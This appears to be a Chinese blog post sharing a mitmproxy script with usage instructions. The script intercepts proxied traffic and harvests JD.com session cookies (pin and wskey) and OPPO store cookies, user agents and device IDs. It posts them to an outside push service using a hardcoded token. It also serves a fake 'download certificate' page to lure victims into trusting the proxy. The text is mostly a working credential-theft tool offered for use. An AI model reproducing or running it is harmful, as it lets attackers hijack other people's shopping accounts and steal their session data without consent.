【Mitmproxy脚本】代理抓取京东Cookie并推送 抓取jd的wskey 脚本实例 抓包
点击查看脚本
from mitmproxy.http import flow
import requests
import json
#推送Pushplus
def pushplus(title,text):
#一对一token
token = 'dabd9c5428cc43868643dda5adcbfcd4'
title= title
content = text
url = 'http://www.pushplus.plus/send'
data = {
"token":token,
"title":title,
"content":content
}
body=json.dumps(data).encode(encoding='utf-8')
headers = {'Content-Type':'application/json'}
requests.post(url,data=body,headers=headers)
#请求返回结果含有并触发
def response(flow):
#替换 nb.cn 为说明
if 'nb.cn' in flow.request.url:
flow.response.set_text('点击下载证书
您已链接至服务器
')
if 'jd.com' in flow.request.url:
if 'Cookie' in flow.request.headers:
if 'pin' and 'wskey' in flow.request.headers["Cookie"]:
ck=(flow.request.headers["Cookie"]).split(';')
ckjs=json.dumps(flow.request.headers["Cookie"])
pin=ck[0]
wskey=ck[1]
print(pushplus('京东-wskey抓取成功',pin+';'+wskey+'; ////' + ckjs))
if 'store.oppo.com' in flow.request.url:
if 'User-Agent' and 'Cookie' in flow.request.headers:
ua=flow.request.headers["User-Agent"]
ck=flow.request.headers["Cookie"]
ouid=flow.request.headers["ouid"]
print(pushplus('欢太-Cookie抓取成功',ua+';'+ck+';'+ouid))
环境
- 安装有mitmproxy的机器
使用方法
上述脚本保存到 jd.py 的文件中
终端运行mitmdump --set block_global=false -s /root/jd.py -k -p 61123 -q
- mitmdump 为mitmproxy的纯输出界面
- --set block_global=false 禁用警告
- -s /root/jd.py 用-s来指定运行的脚本
- -k 禁用SSL错误警告
- -p 61123 指定监听端口为61123
- -q 安静模式,只输出脚本输出内容